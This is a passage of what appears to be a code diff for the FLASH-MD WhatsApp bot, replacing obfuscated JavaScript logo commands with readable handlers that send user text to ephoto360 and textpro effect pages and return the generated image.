_0x273c85=_0x3cb342['join']('\x20');mumaker[_0x59ebcb(0x1bc)](_0x59ebcb(0x212)+_0x59ebcb(0x25e)+'.com/boom-'+_0x59ebcb(0x218)+_0x59ebcb(0x1f4)+_0x59ebcb(0x242)+_0x59ebcb(0x29a),_0x273c85)[_0x59ebcb(0x1b5)](_0x5af3b6=>{const _0x24b8ad=_0x59ebcb;_0x200d31['sendMessag'+'e'](_0x1cf888,{'image':{'url':_0x5af3b6[_0x24b8ad(0x23f)]},'caption':'Logo\x20BY\x20*F'+_0x24b8ad(0x207)},{'quoted':_0x4984b4});})['catch'](_0x4ef038=>{const _0x208bd8=_0x59ebcb;console[_0x208bd8(0x2a3)](_0x208bd8(0x1fe)+_0x208bd8(0x219)+_0x208bd8(0x1e5),_0x4ef038);});}),france({'nomCom':'cat','categorie':_0x4d776a(0x2a7),'reaction':'🪟'},async(_0x4a08d6,_0x2276e4,_0xd8f2a4)=>{const _0x1389cd=_0x4d776a,{arg:_0x34e58e,ms:_0x218fe5,prefixe:_0x4cd42e}=_0xd8f2a4;if(!_0x34e58e[0x0]){repondre('Example\x20of'+_0x1389cd(0x1e3)+_0x1389cd(0x22e)+'\x0a\x20'+_0x4cd42e+('cat\x20Flash\x20'+'Md'));return;}const _0x3d89bc=_0x34e58e[_0x1389cd(0x1c1)]('\x20');mumaker[_0x1389cd(0x1bc)](_0x1389cd(0x212)+_0x1389cd(0x25e)+'.com/handw'+_0x1389cd(0x1ef)+_0x1389cd(0x27d)+'-glass-onl'+'ine-680.ht'+'ml',_0x3d89bc)[_0x1389cd(0x1b5)](_0x2e22be=>{const _0x49415a=_0x1389cd;_0x2276e4[_0x49415a(0x200)+'e'](_0x4a08d6,{'image':{'url':_0x2e22be[_0x49415a(0x23f)]},'caption':_0x49415a(0x29b)+_0x49415a(0x207)},{'quoted':_0x218fe5});})['catch'](_0x55d074=>{const _0x4e0553=_0x1389cd;console[_0x4e0553(0x2a3)](_0x4e0553(0x1fe)+_0x4e0553(0x219)+'duite\x20:',_0x55d074);});}),france({'nomCom':_0x4d776a(0x2a1),'categorie':_0x4d776a(0x2a7),'reaction':'💫'},async(_0x44976a,_0x1362fd,_0x389ad7)=>{const _0x467059=_0x4d776a,{arg:_0x5d2ae5,ms:_0x50a47b,prefixe:_0x187a1d,repondre:_0x47a61d}=_0x389ad7;if(!_0x5d2ae5[0x0]){_0x47a61d(_0x467059(0x1b0)+_0x467059(0x246)+_0x467059(0x1e0)+_0x187a1d+('WhiteGold\x20'+_0x467059(0x1f5)));return;}const _0x38e515=_0x5d2ae5[_0x467059(0x1c1)]('\x20');mumaker['textpro'](_0x467059(0x1e7)+_0x467059(0x221)+'legant-whi'+_0x467059(0x232)+_0x467059(0x241)+_0x467059(0x252)+_0x467059(0x20a)+_0x467059(0x292),_0x38e515)[_0x467059(0x1b5)](_0x4f00bf=>{const _0x10586f=_0x467059;_0x1362fd[_0x10586f(0x200)+'e'](_0x44976a,{'image':{'url':_0x4f00bf[_0x10586f(0x23f)]},'caption':_0x10586f(0x29b)+_0x10586f(0x207)},{'quoted':_0x50a47b});})[_0x467059(0x1fc)](_0x202db3=>{const _0x8cdcdd=_0x467059;console[_0x8cdcdd(0x2a3)]('Une\x20erreur'+'\x20s\x27est\x20pro'+'duite\x20:',_0x202db3);});}),france({'nomCom':'lightglow','categorie':_0x4d776a(0x2a7),'reaction':'🌟'},async(_0x43e95f,_0x19e5d3,_0x5a0eba)=>{const _0x49585c=_0x4d776a,{arg:_0x3ad2fe,ms:_0x1d3c7f,prefixe:_0x3e2de9,repondre:_0x135a8b}=_0x5a0eba;if(!_0x3ad2fe[0x0]){_0x135a8b(_0x49585c(0x1b0)+_0x49585c(0x246)+_0x49585c(0x1e0)+_0x3e2de9+('LightGlow\x20'+_0x49585c(0x1f5)));return;}const _0x2790d9=_0x3ad2fe[_0x49585c(0x1c1)]('\x20');mumaker[_0x49585c(0x288)](_0x49585c(0x1e7)+_0x49585c(0x1c5)+'reate-ligh'+_0x49585c(0x239)+_0x49585c(0x1c7)+_0x49585c(0x25b)+'ne-1068.ht'+'ml',_0x2790d9)['then'](_0x57fe3c=>{const _0x239785=_0x49585c;_0x19e5d3[_0x239785(0x200)+'e'](_0x43e95f,{'image':{'url':_0x57fe3c['image']},'caption':'Logo\x20BY\x20*F'+'LASH-MD*'},{'quoted':_0x1d3c7f});})['catch'](_0x1c2b2b=>{const _0x4f43e7=_0x49585c;console[_0x4f43e7(0x2a3)]('Une\x20erreur'+'\x20s\x27est\x20pro'+_0x4f43e7(0x1e5),_0x1c2b2b);});}),france({'nomCom':_0x4d776a(0x1ce),'categorie':'Logo','reaction':'🔨'},async(_0x23ae69,_0x595c10,_0xd40f5f)=>{const _0x5235d3=_0x4d776a,{arg:_0x28a839,ms:_0x209955,prefixe:_0x55e571,repondre:_0x126b14}=_0xd40f5f;if(!_0x28a839[0x0]){_0x126b14(_0x5235d3(0x1b0)+'\x20using\x20com'+_0x5235d3(0x1e0)+_0x55e571+('Thor\x20My\x20te'+'xt'));return;}const _0xfbbc25=_0x28a839['join']('\x20');mumaker[_0x5235d3(0x1bc)](_0x5235d3(0x212)+'.ephoto360'+_0x5235d3(0x277)+_0x5235d3(0x21d)+_0x5235d3(0x1fa)+'fects-onli'+_0x5235d3(0x23d)+_0x5235d3(0x204),_0xfbbc25)[_0x5235d3(0x1b5)](_0x590a3e=>{const _0x3eaf84=_0x5235d3;_0x595c10[_0x3eaf84(0x200)+'e'](_0x23ae69,{'image':{'url':_0x590a3e[_0x3eaf84(0x23f)]},'caption':'Logo\x20BY\x20*F'+_0x3eaf84(0x207)},{'quoted':_0x209955});})[_0x5235d3(0x1fc)](_0x555316=>{const _0x13d03d=_0x5235d3;console['error']('Une\x20erreur'+_0x13d03d(0x219)+_0x13d03d(0x1e5),_0x555316);});}),france({'nomCom':_0x4d776a(0x1eb),'categorie':'Logo','reaction':'💡'},async(_0x32e9ad,_0x304a98,_0x53f015)=>{const _0x508c1c=_0x4d776a,{arg:_0x5e7c77,ms:_0x30dec4,prefixe:_0x3cf885,repondre:_0x591a35}=_0x53f015;if(!_0x5e7c77[0x0]){_0x591a35(_0x508c1c(0x1b0)+_0x508c1c(0x246)+_0x508c1c(0x1e0)+_0x3cf885+(_0x508c1c(0x214)+'xt'));return;}const _0x335505=_0x5e7c77[_0x508c1c(0x1c1)]('\x20');mumaker[_0x508c1c(0x288)](_0x508c1c(0x1e7)+_0x508c1c(0x2a8)+'eon-text-e'+_0x508c1c(0x25b)+_0x508c1c(0x1b8)+'l',_0x335505)[_0x508c1c(0x1b5)](_0x15dbc7=>{const _0x15438b=_0x508c1c;_0x304a98[_0x15438b(0x200)+'e'](_0x32e9ad,{'image':{'url':_0x15dbc7['image']},'caption':_0x15438b(0x29b)+_0x15438b(0x207)},{'quoted':_0x30dec4});})['catch'](_0x372832=>{const _0x4a78c9=_0x508c1c;console[_0x4a78c9(0x2a3)](_0x4a78c9(0x1fe)+_0x4a78c9(0x219)+_0x4a78c9(0x1e5),_0x372832);});}),france({'nomCom':_0x4d776a(0x26c),'categorie':_0x4d776a(0x2a7),'reaction':'🧳'},async(_0x3177fc,_0x140ef3,_0x10029a)=>{const _0x541ea5=_0x4d776a;try{if(!_0x24f439||_0x24f439==''){_0x249bc6(_0x2691de+('purple\x20Fla'+'sh'));return;}var _0x2ab660=await mumaker[_0x541ea5(0x1bc)](_0x541ea5(0x212)+_0x541ea5(0x25e)+_0x541ea5(0x1d7)+_0x541ea5(0x228)+_0x541ea5(0x1fb)+_0x541ea5(0x282),_0x24f439);_0x249bc6(_0x541ea5(0x27c)+'g\x20...'),await _0x140ef3[_0x541ea5(0x200)+'e'](_0x3177fc,{'image':{'url':_0x2ab660[_0x541ea5(0x23f)]},'caption':_0x541ea5(0x1df)+_0x541ea5(0x207)});}catch(_0x595415){_0x249bc6(_0x595415);}}),france({'nomCom':_0x4d776a(0x289),'categorie':_0x4d776a(0x2a7),'reaction':_0x4d776a(0x1f8)},async(_0x2eada4,_0x5be5c7,_0x19ad27)=>{const _0x32972d=_0x4d776a;let {ms:_0x38f46e,arg:_0x30cdf3,prefixe:_0x18e2a1,repondre:_0x337c3e}=_0x19ad27;try{if(!_0x30cdf3||_0x30cdf3==''){_0x337c3e(_0x18e2a1+(_0x32972d(0x253)+_0x32972d(0x297)));return;}var _0x19ea52=await mumaker[_0x32972d(0x1bc)]('https://en'+_0x32972d(0x25e)+_0x32972d(0x223)+_0x32972d(0x27f)+_0x32972d(0x1cb),_0x30cdf3);_0x337c3e(_0x32972d(0x20b)+'\x20...'),await _0x5be5c7['sendMessag'+'e'](_0x2eada4,{'image':{'url':_0x19ea52[_0x32972d(0x23f)]},'caption':_0x32972d(0x268)+_0x32972d(0x1bd)},{'quoted':_0x38f46e});}catch(_0xf1b845){_0x337c3e(_0xf1b845);}}),france({'nomCom':_0x4d776a(0x24a),'categorie':'Logo','reaction':'🥵'},async(_0x481d77,_0x2fee7d,_0x434eef)=>{const _0x18bb64=_0x4d776a;let {ms:_0x3b5c34,arg:_0x2b43b9,prefixe:_0x179d90,repondre:_0x5a5cdc}=_0x434eef;try{if(!_0x2b43b9||_0x2b43b9==''){_0x5a5cdc(_0x179d90+('arena\x20Flas'+_0x18bb64(0x20c)));return;}var _0x52cc72=await mumaker[_0x18bb64(0x1bc)](_0x18bb64(0x212)+_0x18bb64(0x25e)+_0x18bb64(0x277)+'e-cover-ar'+_0x18bb64(0x1c4)+_0x18bb64(0x1f6)+_0x18bb64(0x269)+_0x18bb64(0x292),_0x2b43b9[_0x18bb64(0x1c1)]('\x20'));_0x5a5cdc(_0x18bb64(0x20b)+_0x18bb64(0x291)),await _0x2fee7d[_0x18bb64(0x200)+'e'](_0x481d77,{'image':{'url':_0x52cc72[_0x18bb64(0x23f)]},'caption':_0x18bb64(0x268)+_0x18bb64(0x1bd)},{'quoted':_0x3b5c34});}catch(_0x3195ea){_0x5a5cdc(_0x3195ea);}}),france({'nomCom':_0x4d776a(0x25d)+'nt','categorie':_0x4d776a(0x2a7),'reaction':'😋'},async(_0x2fc434,_0x4f6eb0,_0x429d9c)=>{const _0x9d2f08=_0x4d776a;let {ms:_0x9e50b5,arg:_0x5cfe84,prefixe:_0x459e2b,repondre:_0x3855b1}=_0x429d9c;try{if(!_0x5cfe84||_0x5cfe84==''){_0x3855b1(_0x459e2b+(_0x9d2f08(0x25d)+_0x9d2f08(0x1c2)+'D'));return;}var _0x196bbb=await mumaker[_0x9d2f08(0x1bc)](_0x9d2f08(0x212)+_0x9d2f08(0x25e)+_0x9d2f08(0x20d)+_0x9d2f08(0x244)+_0x9d2f08(0x290)+_0x9d2f08(0x1bb)+_0x9d2f08(0x27b),_0x5cfe84['join']('\x20'));_0x3855b1(_0x9d2f08(0x20b)+_0x9d2f08(0x291)),await _0x4f6eb0[_0x9d2f08(0x200)+'e'](_0x2fc434,{'image':{'url':_0x196bbb[_0x9d2f08(0x23f)]},'caption':'\x20*Logo\x20by\x20'+_0x9d2f08(0x1bd)},{'quoted':_0x9e50b5});}catch(_0x3d34ba){_0x3855b1(_0x3d34ba);}}),france({'nomCom':'child','categorie':'Logo','reaction':'😇'},async(_0x2350c7,_0x42ce83,_0x37a42c)=>{const _0xdf1039=_0x4d776a;let {ms:_0x3c9711,arg:_0x1fbd63,prefixe:_0x2c3f4c,repondre:_0x401a78}=_0x37a42c;try{if(!_0x1fbd63||_0x1fbd63==''){_0x401a78(_0x2c3f4c+('child\x20Flas'+_0xdf1039(0x20c)));return;}var _0x1455e8=await mumaker['ephoto']('https://en'+_0xdf1039(0x25e)+_0xdf1039(0x258)+'-text-on-w'+_0xdf1039(0x225)+_0xdf1039(0x299)+_0xdf1039(0x292),_0x1fbd63['join']('\x20'));_0x401a78(_0xdf1039(0x20b)+_0xdf1039(0x291)),await _0x42ce83['sendMessag'+'e'](_0x2350c7,{'image':{'url':_0x1455e8[_0xdf1039(0x23f)]},'caption':_0xdf1039(0x268)+_0xdf1039(0x1bd)},{'quoted':_0x3c9711});}catch(_0x2bf75b){_0x401a78(_0x2bf75b);}}),france({'nomCom':'typo','categorie':_0x4d776a(0x2a7),'reaction':'😇'},async(_0x2ceb7a,_0x2c5397,_0x507266)=>{const _0x43a8e8=_0x4d776a;let {ms:_0x10ac3a,arg:_0x72b58c,prefixe:_0x3db091,repondre:_0x2a6ebf}=_0x507266;try{if(!_0x72b58c||_0x72b58c==''){_0x2a6ebf(_0x3db091+(_0x43a8e8(0x1c6)+'-MD'));return;}var _0x37cd5e=await mumaker['ephoto'](_0x43a8e8(0x212)+_0x43a8e8(0x25e)+'.com/typog'+_0x43a8e8(0x1b4)+_0x43a8e8(0x1d6)+_0x43a8e8(0x26b)+_0x43a8e8(0x248)+_0x43a8e8(0x27b),_0x72b58c['join']('\x20'));_0x2a6ebf('processing'+'\x20...'),await _0x2c5397[_0x43a8e8(0x200)+'e'](_0x2ceb7a,{'image':{'url':_0x37cd5e[_0x43a8e8(0x23f)]},'caption':_0x43a8e8(0x268)+_0x43a8e8(0x1bd)},{'quoted':_0x10ac3a});}catch(_0x508940){_0x2a6ebf(_0x508940);}}),france({'nomCom':'light','categorie':_0x4d776a(0x2a7),'reaction':'🌠'},async(_0x2c15e1,_0x2f604a,_0x16dea1)=>{const _0x9c91f4=_0x4d776a;let {ms:_0x17deef,arg:_0x454e01,prefixe:_0x37970b,repondre:_0x21b9a7}=_0x16dea1;try{if(!_0x454e01||_0x454e01==''){_0x21b9a7(_0x37970b+(_0x9c91f4(0x2a6)+'h-MD'));return;}var _0x62464b=await mumaker['ephoto'](_0x9c91f4(0x212)+_0x9c91f4(0x25e)+_0x9c91f4(0x205)+_0x9c91f4(0x241)+_0x9c91f4(0x234)+'tic-techno'+_0x9c91f4(0x27a)+_0x9c91f4(0x283),_0x454e01[_0x9c91f4(0x1c1)]('\x20'));_0x21b9a7('processing'+_0x9c91f4(0x291)),await _0x2f604a[_0x9c91f4(0x200)+'e'](_0x2c15e1,{'image':{'url':_0x62464b[_0x9c91f4(0x23f)]},'caption':_0x9c91f4(0x268)+_0x9c91f4(0x1bd)},{'quoted':_0x17deef});}catch(_0xace3cd){_0x21b9a7(_0xace3cd);}}),france({'nomCom':_0x4d776a(0x233),'categorie':_0x4d776a(0x2a7),'reaction':'🌠'},async(_0x3bcc6c,_0x113f60,_0x33289c)=>{const _0x4ca769=_0x4d776a;let {ms:_0x539b08,arg:_0x4120b9,prefixe:_0x3198d3,repondre:_0x5344d6}=_0x33289c;try{if(!_0x4120b9||_0x4120b9==''){_0x5344d6(_0x3198d3+(_0x4ca769(0x21b)+_0x4ca769(0x20c)));return;}var _0x42de6a=await mumaker[_0x4ca769(0x1bc)]('https://en'+_0x4ca769(0x25e)+_0x4ca769(0x245)+_0x4ca769(0x2a0)+_0x4ca769(0x1ca)+_0x4ca769(0x284)+_0x4ca769(0x27b),_0x4120b9[_0x4ca769(0x1c1)]('\x20'));_0x5344d6(_0x4ca769(0x20b)+_0x4ca769(0x291)),await _0x113f60['sendMessag'+'e'](_0x3bcc6c,{'image':{'url':_0x42de6a[_0x4ca769(0x23f)]},'caption':'\x20*Logo\x20by\x20'+_0x4ca769(0x1bd)},{'quoted':_0x539b08});}catch(_0x117a91){_0x5344d6(_0x117a91);}}),france({'nomCom':_0x4d776a(0x267),'categorie':_0x4d776a(0x2a7),'reaction':'🌠'},async(_0x4042aa,_0xe37796,_0x7b81d1)=>{const _0x56fd9b=_0x4d776a;let {ms:_0x187ca0,arg:_0x37a95d,prefixe:_0x62fb5e,repondre:_0x46eaaf}=_0x7b81d1;try{if(!_0x37a95d||_0x37a95d==''){_0x46eaaf(_0x62fb5e+(_0x56fd9b(0x22f)+_0x56fd9b(0x276)));return;}var _0x22d144=await mumaker[_0x56fd9b(0x1bc)](_0x56fd9b(0x212)+_0x56fd9b(0x25e)+_0x56fd9b(0x1dc)+'ght-shadow'+_0x56fd9b(0x2a4)+_0x56fd9b(0x292),_0x37a95d['join']('\x20'));_0x46eaaf('processing'+'\x20...'),await _0xe37796['sendMessag'+'e'](_0x4042aa,{'image':{'url':_0x22d144[_0x56fd9b(0x23f)]},'caption':_0x56fd9b(0x268)+'FLASH-MD*'},{'quoted':_0x187ca0});}catch(_0x1767c7){_0x46eaaf(_0x1767c7);}}),france({'nomCom':_0x4d776a(0x1c0),'categorie':_0x4d776a(0x2a7),'reaction':'❄'},async(_0x1e034d,_0x2c1578,_0x17e783)=>{const _0x485740=_0x4d776a,{arg:_0x2bd4e9,ms:_0x4d6c39,prefixe:_0x599663,repondre:_0x549781}=_0x17e783;if(!_0x2bd4e9[0x0]){_0x549781(_0x485740(0x1e9)+_0x485740(0x1e3)+'s\x20command:'+'\x0a\x20'+_0x599663+('frozen\x20Kin'+'g'));return;}const _0x51c1c8=_0x2bd4e9['join']('\x20');mumaker['ephoto'](_0x485740(0x212)+_0x485740(0x25e)+_0x485740(0x277)+_0x485740(0x1b2)+_0x485740(0x285)+'-text-effe'+'ct-online-'+'792.html',_0x51c1c8)[_0x485740(0x1b5)](_0x3c7022=>{const _0x7d559c=_0x485740;_0x2c1578['sendMessag'+'e'](_0x1e034d,{'image':{'url':_0x3c7022[_0x7d559c(0x23f)]},'caption':_0x7d559c(0x29b)+_0x7d559c(0x207)},{'quoted':_0x4d6c39});})[_0x485740(0x1fc)](_0x2b527b=>{const _0x6701b2=_0x485740;console[_0x6701b2(0x2a3)](_0x6701b2(0x1fe)+'\x20s\x27est\x20pro'+_0x6701b2(0x1e5),_0x2b527b);});}),france({'nomCom':_0x4d776a(0x215),'categorie':_0x4d776a(0x2a7),'reaction':'♨️'},async(_0x1c1328,_0x5c66fa,_0x4ae582)=>{const _0x11fd8e=_0x4d776a,{arg:_0x528c07,ms:_0x3a3eb9,prefixe:_0x2b8798,repondre:_0x100ccf}=_0x4ae582;if(!_0x528c07[0x0]){_0x100ccf(_0x11fd8e(0x1e9)+'\x20using\x20com'+_0x11fd8e(0x23c)+_0x2b8798+(_0x11fd8e(0x28a)+_0x11fd8e(0x264)));return;}const _0x2dca5f=_0x528c07[_0x11fd8e(0x1c1)]('\x20');mumaker[_0x11fd8e(0x288)](_0x11fd8e(0x1e7)+'xtpro.me/c'+'reate-a-ma'+_0x11fd8e(0x261)+_0x11fd8e(0x1ca)+_0x11fd8e(0x28f)+_0x11fd8e(0x222),_0x2dca5f)[_0x11fd8e(0x1b5)](_0x9b9903=>{const _0x20db1a=_0x11fd8e;_0x5c66fa[_0x20db1a(0x200)+'e'](_0x1c1328,{'image':{'url':_0x9b9903[_0x20db1a(0x23f)]},'caption':'Logo\x20BY\x20*F'+'LASH-MD*'},{'quoted':_0x3a3eb9});})[_0x11fd8e(0x1fc)](_0x300715=>{const _0x415ee2=_0x11fd8e;console[_0x415ee2(0x2a3)](_0x415ee2(0x1fe)+_0x415ee2(0x219)+_0x415ee2(0x1e5),_0x300715);});}),france({'nomCom':_0x4d776a(0x24f),'categorie':'Logo','reaction':'☘️'},async(_0x43f230,_0x37c671,_0xb896bb)=>{const _0x2d365c=_0x4d776a,{arg:_0x5de062,ms:_0x2ebdae,prefixe:_0x32f384,repondre:_0x5c693e}=_0xb896bb;if(!_0x5de062[0x0]){_0x5c693e(_0x2d365c(0x1e9)+'\x20using\x20com'+_0x2d365c(0x23c)+_0x32f384+('leaves\x20My\x20'+_0x2d365c(0x1d4)));return;}const _0x452304=_0x5de062[_0x2d365c(0x1c1)]('\x20');mumaker[_0x2d365c(0x1bc)](_0x2d365c(0x212)+_0x2d365c(0x25e)+_0x2d365c(0x227)+_0x2d365c(0x247)+_0x2d365c(0x1e8)+_0x2d365c(0x1af)+_0x2d365c(0x21c)+_0x2d365c(0x22c)+'l',_0x452304)[_0x2d365c(0x1b5)](_0x9e01b9=>{const _0x56f564=_0x2d365c;_0x37c671[_0x56f564(0x200)+'e'](_0x43f230,{'image':{'url':_0x9e01b9['image']},'caption':_0x56f564(0x29b)+_0x56f564(0x207)},{'quoted':_0x2ebdae});})[_0x2d365c(0x1fc)](_0x250a35=>{const _0x367e16=_0x2d365c;console['error']('Une\x20erreur'+_0x367e16(0x219)+_0x367e16(0x1e5),_0x250a35);});}); + const result = await mumaker.ephoto( + 'https://en.ephoto360.com/create-dragon-ball-style-text-effects-online-809.html', + args.join(' ') + ); + + await king.sendMessage(chatId, { + image: { url: result.image }, + caption: '*FLASH-MD V2 - Logo Generator*' + }, { quoted: msg }); + + } catch (error) { + console.error('Logo generation error:', error); + await king.sendMessage(chatId, { + text: 'An error occurred while generating your logo. Please try again later.' + }, { quoted: msg }); + } + } + }, + + { + name: 'naruto', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Generate a Naruto Shippuden style logo.', + category: 'Logo', + execute: async (king, msg, args) => { + const chatId = msg.key.remoteJid; + const noArgMsg = 'Example: .naruto YourText'; + + if (!args || args.length === 0) { + return await king.sendMessage(chatId, { text: noArgMsg }, { quoted: msg }); + } + + try { + await king.sendMessage(chatId, { text: '*Processing your logo... Please wait.*' }, { quoted: msg }); + + const result = await mumaker.ephoto( + 'https://en.ephoto360.com/naruto-shippuden-logo-style-text-effect-online-808.html', + args.join(' ') + ); + + await king.sendMessage(chatId, { + image: { url: result.image }, + caption: '*FLASH-MD V2 - Logo Generator*' + }, { quoted: msg }); + + } catch (error) { + console.error('Logo generation error:', error); + await king.sendMessage(chatId, { + text: 'An error occurred while generating your logo. Please try again later.' + }, { quoted: msg }); + } + } + }, + + { + name: 'sand', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Generate a sand-style logo.', + category: 'Logo', + execute: async (king, msg, args) => { + const chatId = msg.key.remoteJid; + const noArgMsg = 'Example: .sand YourText'; + + if (!args || args.length === 0) { + return await king.sendMessage(chatId, { text: noArgMsg }, { quoted: msg }); + } + + try { + const result = await mumaker.ephoto( + 'https://en.ephoto360.com/write-names-and-messages-on-the-sand-online-582.html', + args.join(' ') + ); + + await king.sendMessage(chatId, { + image: { url: result.image }, + caption: '*Logo by FLASH-MD V2*' + }, { quoted: msg }); + + } catch (error) { + console.error('Logo generation error:', error); + await king.sendMessage(chatId, { + text: 'An error occurred while generating your logo. Please try again later.' + }, { quoted: msg }); + } + } + }, + { + name: 'sunset', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Generate a sunset light text effect.', + category: 'Logo', + execute: async (king, msg, args) => { + const chatId = msg.key.remoteJid; + const noArgMsg = 'Example: .sunset YourText'; + + if (!args || args.length === 0) { + return await king.sendMessage(chatId, { text: noArgMsg }, { quoted: msg }); + } + + try { + const result = await mumaker.ephoto( + 'https://en.ephoto360.com/create-sunset-light-text-effects-online-807.html', + args.join(' ') + ); + + await king.sendMessage(chatId, { + image: { url: result.image }, + caption: '*Logo by FLASH-MD V2*' + }, { quoted: msg }); + + } catch (error) { + console.error('Logo generation error:', error); + await king.sendMessage(chatId, { + text: 'An error occurred while generating your logo. Please try again later.' + }, { quoted: msg }); + } + } +}, + +{ + name: 'chocolate', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Generate a chocolate text effect.', + category: 'Logo', + execute: async (king, msg, args) => { + const chatId = msg.key.remoteJid; + const noArgMsg = 'Example: .chocolate YourText'; + + if (!args || args.length === 0) { + return await king.sendMessage(chatId, { text: noArgMsg }, { quoted: msg }); + } + + try { + const result = await mumaker.ephoto( + 'https://en.ephoto360.com/chocolate-text-effect-353.html', + args.join(' ') + ); + + await king.sendMessage(chatId, { + image: { url: result.image }, + caption: '*Logo by FLASH-MD V2*' + }, { quoted: msg }); + + } catch (error) { + console.error('Logo generation error:', error); + await king.sendMessage(chatId, { + text: 'An error occurred while generating your logo. Please try again later.' + }, { quoted: msg }); + } + } +}, + +{ + name: 'mechanical', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Generate a mechanical style text effect.', + category: 'Logo', + execute: async (king, msg, args) => { + const chatId = msg.key.remoteJid; + const noArgMsg = 'Example: .mechanical YourText'; + + if (!args || args.length === 0) { + return await king.sendMessage(chatId, { text: noArgMsg }, { quoted: msg }); + } + + try { + const result = await mumaker.ephoto( + 'https://en.ephoto360.com/create-your-name-in-a-mechanical-style-306.html', + args.join(' ') + ); + + await king.sendMessage(chatId, { + image: { url: result.image }, + caption: '*Logo by FLASH-MD V2*' + }, { quoted: msg }); + + } catch (error) { + console.error('Logo generation error:', error); + await king.sendMessage(chatId, { + text: 'An error occurred while generating your logo. Please try again later.' + }, { quoted: msg }); + } + } +}, +{ + name: 'rain', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Generate a foggy rainy text effect.', + category: 'Logo', + execute: async (king, msg, args) => { + const chatId = msg.key.remoteJid; + const noArgMsg = '*Example:* .rain YourText'; + + if (!args || args.length === 0) { + return await king.sendMessage(chatId, { text: noArgMsg }, { quoted: msg }); + } + + try { + const result = await mumaker.ephoto( + 'https://en.ephoto360.com/foggy-rainy-text-effect-75.html', + args.join(' ') + ); + + await king.sendMessage(chatId, { + image: { url: result.image }, + caption: '*Logo by FLASH-MD V2*' + }, { quoted: msg }); + + } catch (error) { + console.error('Logo generation error:', error); + await king.sendMessage(chatId, { + text: 'An error occurred while generating your logo. Please try again later.' + }, { quoted: msg }); + } + } +}, + +{ + name: 'cloth', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Generate a text on cloth effect.', + category: 'Logo', + execute: async (king, msg, args) => { + const chatId = msg.key.remoteJid; + const noArgMsg = '*Example:* .cloth YourText'; + + if (!args || args.length === 0) { + return await king.sendMessage(chatId, { text: noArgMsg }, { quoted: msg }); + } + + try { + const result = await mumaker.ephoto( + 'https://en.ephoto360.com/text-on-cloth-effect-62.html', + args.join(' ') + ); + + await king.sendMessage(chatId, { + image: { url: result.image }, + caption: '*Logo by FLASH-MD V2*' + }, { quoted: msg }); + + } catch (error) { + console.error('Logo generation error:', error); + await king.sendMessage(chatId, { + text: 'An error occurred while generating your logo. Please try again later.' + }, { quoted: msg }); + } + } +}, + +{ + name: 'water', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Generate a water effect text logo.', + category: 'Logo', + execute: async (king, msg, args) => { + const chatId = msg.key.remoteJid; + const noArgMsg = '*Example:* .water YourText'; + + if (!args || args.length === 0) { + return await king.sendMessage(chatId, { text: noArgMsg }, { quoted: msg }); + } + + try { + const result = await mumaker.ephoto( + 'https://en.ephoto360.com/create-water-effect-text-online-295.html', + args.join(' ') + ); + + await king.sendMessage(chatId, { + image: { url: result.image }, + caption: '*Logo by FLASH-MD V2*' + }, { quoted: msg }); + + } catch (error) { + console.error('Logo generation error:', error); + await king.sendMessage(chatId, { + text: 'An error occurred while generating your logo. Please try again later.' + }, { quoted: msg }); + } + } +}, + +{ + name: '1917', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Generate a 1917 movie-style text logo.', + category: 'Logo', + execute: async (king, msg, args) => { + const chatId = msg.key.remoteJid; + const noArgMsg = '*Example:* .1917 YourText'; + + if (!args || args.length === 0) { + return await king.sendMessage(chatId, { text: noArgMsg }, { quoted: msg }); + } + + try { + const result = await mumaker.ephoto( + 'https://en.ephoto360.com/1917-style-text-effect-523.html', + args.join(' ') + ); + + await king.sendMessage(chatId, { + image: { url: result.image }, + caption: '*Logo by FLASH-MD V2*' + }, { quoted: msg }); + + } catch (error) { + console.error('Logo generation error:', error); + await king.sendMessage(chatId, { + text: 'An error occurred while generating your logo. Please try again later.' + }, { quoted: msg }); + } + } +}, +{ + name: 'graffiti', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Generate a cartoon-style graffiti text effect.', + category: 'Logo', + + execute: async (king, msg, args) => { + const chatId = msg.key.remoteJid; + const noArgMsg = '*Example:* .graffiti YourText'; + + if (!args || args.length === 0) { + return await king.sendMessage(chatId, { text: noArgMsg }, { quoted: msg }); + } + + try { + const result = await mumaker.ephoto( + 'https://en.ephoto360.com/create-a-cartoon-style-graffiti-text-effect-online-668.html', + args.join(' ') + ); + + await king.sendMessage(chatId, { + image: { url: result.image }, + caption: '*Logo by FLASH-MD V2*' + }, { quoted: msg }); + + } catch (error) { + console.error('Logo generation error:', error); + await king.sendMessage(chatId, { + text: 'An error occurred while generating your logo. Please try again later.' + }, { quoted: msg }); + } + } +}, + +{ + name: 'boom', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Generate a comic-style boom text effect.', + category: 'Logo', + + execute: async (king, msg, args) => { + const chatId = msg.key.remoteJid; + const noArgMsg = '*Example:* .boom YourText'; + + if (!args || args.length === 0) { + return await king.sendMessage(chatId, { text: noArgMsg }, { quoted: msg }); + } + + try { + const result = await mumaker.ephoto( + 'https://en.ephoto360.com/boom-text-comic-style-text-effect-675.html', + args.join(' ') + ); + + await king.sendMessage(chatId, { + image: { url: result.image }, + caption: '*Logo by FLASH-MD V2*' + }, { quoted: msg }); + + } catch (error) { + console.error('Logo generation error:', error); + await king.sendMessage(chatId, { + text: 'An error occurred while generating your logo. Please try again later.' + }, { quoted: msg }); + } + } +}, + +{ + name: 'cat', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Generate handwritten text on foggy glass.', + category: 'Logo', + + execute: async (king, msg, args) => { + const chatId = msg.key.remoteJid; + const noArgMsg = '*Example:* .cat YourText'; + + if (!args || args.length === 0) { + return await king.sendMessage(chatId, { text: noArgMsg }, { quoted: msg }); + } + + try { + const result = await mumaker.ephoto( + 'https://en.ephoto360.com/handwritten-text-on-foggy-glass-online-680.html', + args.join(' ') + ); + + await king.sendMessage(chatId, { + image: { url: result.image }, + caption: '*Logo by FLASH-MD V2*' + }, { quoted: msg }); + + } catch (error) { + console.error('Logo generation error:', error); + await king.sendMessage(chatId, { + text: 'An error occurred 